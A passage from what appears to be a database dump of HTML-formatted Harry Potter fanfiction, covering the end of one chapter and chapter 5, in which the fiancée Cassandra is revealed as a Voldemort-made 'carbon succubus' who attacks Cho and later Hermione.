style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Harry\nspotted the glint of gold near the Ravenclaw goal posts.&nbsp; He had plenty of confidence in his Firebolt\nto outrace Cho, so he zoomed away as fast as he could to the snitch.&nbsp;&nbsp; In a blast of speed, Harry snagged the\ngolden snitch out of the air.&nbsp;\nImmediately, the Gryffindor stands erupted in cheers: Gryffindor won\n170-150!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry and Cho\ntouched down on the pitch and shook hands.&nbsp;\n&#8220;Good game Harry,&#8221; said Cho with a smile.&nbsp; Harry also grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment,\nCassandra touched down next to Harry.&nbsp;\nShe threw her arms around Harry and kissed him on the cheek.&nbsp; &#8220;Oh beloved.&nbsp; That was just marvelous!&#8221; she beamed.&nbsp; Harry looked like he wanted to be anywhere but right where he\nwas.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After the match,\nboth teams proceeded to their respective changing rooms.&nbsp; Everyone changed at their own pace and eventually,\nCassandra and Cho were the last ones in the Ravenclaw changing room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Cho, could I\nspeak with you?&#8221; asked Cassandra.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Sure,&#8221; said Cho.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I heard that you\nonce broke Harry&#8217;s heart,&#8221; said Cassandra in a neutral tone.&nbsp; Cho looked very uncomfortable.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;W-well.&nbsp; He&#8230;he once asked me out about a year\nago&#8230;and&#8230;well&#8230;I was reminded to much about Cedric whenever he was around and I\nneeded some space to recover&#8230;so&#8230;I turned him down.&nbsp; H-he was down cast for a while&#8230;but I never meant to hurt\nhim.&#8221;&nbsp; Cho made a weak grin.&nbsp; &#8220;You&#8217;re&#8230;you&#8217;re not upset because I broke\nyour fianc&#233;&#8217;s heart, are you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra simply\nwalked up to Cho, still wearing a neutral expression on her face.&nbsp; Suddenly, she pulled Cho into a kiss!&nbsp; Cho pulled away looking horrified.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Wha&#8230;What&#8230;Wha&#8230;?&#8221;\nshe spluttered.&nbsp; Suddenly, Cho felt her\nknees give away and she collapsed to the floor.&nbsp; Her eyes became blurry and she felt her body weakening.&nbsp; She barely registered Cassandra standing\nover her with a malicious look in her icy blue eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No one hurts my\nHarry,&#8221; hissed Cassandra.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cho stared at her\nin disbelief.&nbsp; She managed to say, &#8220;I&#8230;it\nwas&#8230;you,&#8221; before she blacked out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">No one discovered\nwhat had happened to Cho Chang until the following day when the rest of the\nRavenclaw Quidditch team went to the changing room for practice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N A note of\nclarification, Cassandra can switch between fatal kisses and regular ones.&nbsp; So that&#8217;s why Harry isn&#8217;t affected when\nCassandra kisses him.&nbsp; Read and review\nplease.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(128, 5, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n5: Carbon Succubus\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For many people,\nthe attack on Cho Chang was the last straw.&nbsp;\nParents started pulling their children out of school to get them away\nfrom the succubus lurking in the halls of Hogwarts.&nbsp; Surprisingly, the Weasleys had also decided to pull Ron and Ginny\nout as well.&nbsp; They had offered to take\nHarry and Hermione with them but Hermione had refused to leave her studies and\nprefect duties behind.&nbsp; Harry, for his\npart, refused to leave Hermione behind alone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well I gotta go,\nmate,&#8221; said Ron as he slung his bag on his back.&nbsp; &#8220;Can&#8217;t keep Ginny waiting in the Great Hall for so long.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Good bye, Ron,&#8221;\nsaid Hermione as she hugged him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron took this\nopportunity to whisper, &#8220;You have to tell him,&#8221; into her ear.&nbsp; Hermione slowly nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Take care,&#8221; said\nHarry.&nbsp; Ron slapped Harry&#8217;s palm once in\na friendly gesture.&nbsp; He then left the\nCommon Room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked\naround.&nbsp; Aside from himself and\nHermione, the Common Room was completely deserted.&nbsp; &#8220;Well, I guess it&#8217;s just the two of us,&#8221; said Harry.&nbsp; He grinned at Hermione.&nbsp; Hermione also smiled weakly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few hours later,\nHarry and Hermione were snuggled up on one of the sofas in front of the\nfireplace.&nbsp; Hogwarts had never seemed so\nempty, devoid of so many of its students.&nbsp;\nThe two were thinking about the succubus attacks that had caused the\nemptiness of the castle.&nbsp; Suddenly,\nHarry sprang to his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Of course!&nbsp; Why haven&#8217;t I thought of it before?&#8221; he\nexclaimed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What is it?&#8221;\nasked Hermione.&nbsp; Harry was now pacing\nback and forth looking very excited.&nbsp;\n&#8220;You remember what Lupin taught us in DADA about succubae?&nbsp; Now get this: the victims that were attacked\nwere Malfoy, Snape, and Cho, right?&#8221;&nbsp;\nHermione nodded.&nbsp; &#8220;Now, everybody\nthought they were attacked by a succubus because it was Malfoy who was attacked\nfirst right?&nbsp; Then Snape.&nbsp; But then, that wouldn&#8217;t make sense because\nCho was also attacked.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione realized\nwhat Harry was getting at.&nbsp; &#8220;Because a\nsuccubus doesn&#8217;t attack women.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s\nright!&nbsp; It can&#8217;t be an incubus because\nthen Malfoy and Snape wouldn&#8217;t have been attacked.&nbsp; And there can&#8217;t be more than one succubae and incubi because\nthere have only been three victims.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked\nalarmed.&nbsp; &#8220;Harry, you&#8217;re not suggesting\na carbon succubus?&#8221;&nbsp; Harry nodded.&nbsp; &#8220;But we don&#8217;t know if they really exist.&nbsp; There&#8217;re no reports on whether You-know-who\nsucceeded with his experiments to create one.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I know,&#8221; said\nHarry.&nbsp; &#8220;That&#8217;s why I&#8217;m going to go\nspeak to the one person who knows whether a carbon succubus exists or\nnot.&#8221;&nbsp; He ran up to his dorm and pulled\nout his invisibility cloak.&nbsp; He ran back\nto the Common Room and faced Hermione.&nbsp;\n&#8220;What I&#8217;m about to do is probably quite dangerous.&nbsp; So please don&#8217;t tell Dumbledore just yet.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione nodded\nand bit her lip.&nbsp; &#8220;Um, Harry.&nbsp; Before you go, there&#8217;s something I need to\ntell you.&#8221;&nbsp; She blushed red.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh,&#8221; said Harry\nraising an eyebrow.&nbsp; &#8220;What is it?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8230;I&#8230;I&#8230;I love\nyou,&#8221; she rushed out.&nbsp; For the most\nagonizing moment, Harry was silent.&nbsp;\nHermione looked down at her toes as she tried to fight back tears.&nbsp; &#8216;He&#8217;s going to reject me,&#8217; she thought.&nbsp; &#8216;I&#8217;ve ruined my friendship with him.&#8217;&nbsp; The tears started to flow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Slowly, Harry\nplaced both of his hands on either side of Hermione&#8217;s head and gently lifted\nher face up.&nbsp; Her cheeks were tear\nstained and her eyes were still closed as tears leaked out of them.&nbsp; Gently, Harry leaned forward and pressed his\nlips to hers.&nbsp; Hermione felt her heart\nsore as she started kissing Harry back.&nbsp;\nHarry drew her in closer and wrapped his arms around her waist while\nHermione wrapped arms around Harry&#8217;s neck.&nbsp;\nOne of her hands started stroking Harry&#8217;s messy black hair.&nbsp; Finally they parted.&nbsp; Harry was wearing a huge grin while Hermione\nmade a watery smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Just in case that\nwasn&#8217;t enough to let you know, I love you too,&#8221; said Harry.&nbsp; &#8220;And I promise that after I clear up\neverything with Cassandra we&#8217;ll make something of it.&#8221;&nbsp; Hermione slowly nodded, still smiling.&nbsp; Harry pulled away.&nbsp; &#8220;I&#8217;ve got to go,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Promise me that\nyou&#8217;ll be alright,&#8221; said Hermione.&nbsp;\nHarry nodded as he pulled the invisibility cloak on himself.&nbsp; The portrait hole swung open, seemingly by\nitself, then shut again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione flopped\ndown on the sofa feeling happier than she had ever felt.&nbsp; Harry loved her.&nbsp; A part of her still couldn&#8217;t believe it but her increased\nheartbeat and the warmth on her lips were proof enough.&nbsp; She sighed happily as all thoughts of the\ncarbon succubus left her mind.&nbsp; She failed\nto notice the shadow creep behind her and say, <i>&#8220;Stupefy!&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Slowly, while\nunder the cover of his invisibility cloak, Harry made his way to the astronomy\ntower.&nbsp; A part of him was telling him\nwhat he was doing was far to dangerous, but he reasoned with himself that he\nwas going to speak with someone who had no way of reaching him.&nbsp; Harry was going to go speak to the last\nperson he, or anyone in his or her right mind would want to speak to.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry slowly crept\ninto the astronomy tower and pulled out what looked like a compass.&nbsp; In truth, it was a magical communicator, the\nmagical equivalent of a telephone.&nbsp;\nHarry had gone to the top of the astronomy tower since the magical\nreception was stronger there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry started to\nchant.&nbsp; The communicator started glow\nand within a few seconds, an image of a face sprang out of the communicator in\nglowing light.&nbsp; The face was completely\nwhite like a skull and had glaring red eyes similar to a snake&#8217;s.&nbsp; Harry had contacted Lord Voldemort!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort stared\nat his arch nemesis with mild surprise.&nbsp;\n&#8220;Why Harry, you would usually be the last person I&#8217;d expect to contact\nme this way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry gritted his\nteeth.&nbsp; It was only an image of\nVoldemort before him, and yet he still felt a slight twinge in his scar.&nbsp; He was also incredibly apprehensive of\nseeing the Dark Lord&#8217;s face again.&nbsp; &#8220;I&#8217;m\na little surprised myself,&#8221; hissed Harry.&nbsp;\nHe straightened up and took on a business tone.&nbsp; &#8220;Tell me everything you know about carbon\nsuccubae.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort laughed\nhis high-pitched laugh.&nbsp; &#8220;And what made\nyou think I would give this information to you freely?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How about this,&#8221;\nsaid Harry.&nbsp; &#8220;Suppose one of your carbon\nsuccubae is in Hogwarts now.&nbsp; Also\nsuppose that this creature eventually kills me, henceforth robbing you the\nchance of killing the one who defeated you so many years ago.&nbsp; What do you think of that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort actually\nlooked thoughtful for a minute.&nbsp; He\nfinally seemed to have come to a decision and started speak.&nbsp; &#8220;If you really want to know, I worked on\ncreating carbon succubae for years.&nbsp;\nYet, in the end I only successfully managed to create one.&nbsp; Lets see now, it was just a few months\nbefore I killed your parents.&#8221;&nbsp;\nVoldemort grinned.&nbsp; Harry gritted\nhis teeth, anger starting to boil up inside of him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How do I find\nthis creature?&#8221; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You should treat\nmy creations with more respect,&#8221; said Voldemort.&nbsp; &#8220;The name of the carbon succubus is Cassandra Frost.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?!&#8221;&nbsp; This was news Harry did not expect.&nbsp; His betrothed fianc&#233;e was a creation of\nVoldemort!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hmmm.&nbsp; Judging by your reaction, I suppose you know\nher.&#8221;&nbsp; Voldemort grinned once more.&nbsp; &#8220;Years ago, when she was only a year old, my\nDeath Eaters kidnapped her from her home.&nbsp;\nKilled her father in the process but that doesn&#8217;t matter.&nbsp; I finally completed the transformation on\nher and sent her back to her home, a new weapon for my use.&#8221;&nbsp; Voldemort laughed briefly but he suddenly\ngrimaced as if recalling a horrible event.&nbsp;\n&#8220;Unfortunately, before I could use her, I had that run in with you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry glared at\nthe Dark Lord.&nbsp; &#8220;Yeah, we all know what\nhappened then,&#8221; he hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort\nlaughed.&nbsp; &#8220;I hope that this information\nhas been most useful for you.&nbsp; Oh, in\ncase you forget, I&#8217;m still going to be the one who kills you.&nbsp; So don&#8217;t die fighting Frost!&#8221;&nbsp; With a flash, the image of Voldemort\ndisappeared.&nbsp; Harry gasped a breath of\nrelief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;That&#8217;s the last\ntime I ever do that,&#8217; he thought.&nbsp;\n&#8216;Well, nothing left to do but tell Dumbledore that Cassandra&#8217;s the\ncarbon succubus.&nbsp; I sure hope he doesn&#8217;t\nask me how I got a hold of this info.&#8217;&nbsp;\nHarry wanted to make sure that Cassandra was still in the castle.&nbsp; He pulled out the Marauder&#8217;s Map from his\ncloak and said, &#8220;I solemnly swear I am up to no good.&#8221;&nbsp; In an instant, the map flicked to life.&nbsp; As he glanced down at the map, Harry gasped\nat what he saw.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The name &#8216;Hermione\nGranger&#8217; was right next to &#8216;Cassandra Frost&#8217; in Moaning Myrtle&#8217;s bathroom!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No!&#8221; said\nHarry.&nbsp; He quickly pulled out a pen and\nparchment and scribbled something down.&nbsp;\nHe then whipped out his wand and shouted, <i>&#8220;Accio Hedwig!&#8221;</i>&nbsp; In an instant, his snowy white owl zoomed\nright next to him.&nbsp; Hedwig seemed very\nangry to have been summoned so rudely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hedwig, I need\nyou to take this to Dumbledore, now!&#8221; said Harry.&nbsp; Hedwig simply ruffled her feathers and looked away.&nbsp; &#8220;Dammit Hedwig!&nbsp; Hermione&#8217;s in trouble!&#8221;&nbsp;\nThat caught the owl&#8217;s attention.&nbsp;\nShe thrust out her leg and Harry tied the parchment to it.&nbsp; As Hedwig flew away, Harry started running\nas fast as he could, hoping that he would make it to Moaning Myrtle&#8217;s bathroom\nin time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I just wanted\nto say that everything that has happened in this story was precisely how I\nplanned it: I fully intended to make Cassandra a carbon succubus from the\nstart.&nbsp; Keep your thoughts in mind and\neverything will be explained in the last few chapters.&nbsp; So R/R.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
